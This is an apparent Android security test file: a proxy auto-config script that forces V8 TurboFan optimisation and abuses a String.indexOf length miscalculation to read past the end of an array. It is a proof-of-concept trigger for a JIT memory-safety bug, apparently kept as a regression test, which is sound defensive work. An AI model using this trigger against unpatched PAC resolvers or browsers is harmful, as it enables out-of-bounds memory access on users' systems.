blob: a6b016640a7a9cce54d3801f6f31f48956a1b639 [file] [log] [blame]
/*
* Copyright (C) 2019 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
function FindProxyForURL(url, host){
opttest();
opttest();
opttest();
opttest();
opttest();
opttest();
opttest();
opttest();
return "DIRECT";
}
function maxstring() {
// force TurboFan
try {} finally {}
var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
i += 16;
i >>= 28;
i *= 1000000;
//i *= 3;
if (i >= 3) {
return 0;
} else {
var arr = [0.1, 0.2, 0.3, 0.4];
return arr[i];
}
}
function opttest() {
for (var j = 0; j < 100000; j++) {
var o = maxstring();
if (o == 0 || o == undefined) {
continue;
}
console.log(o);
return o;
}
}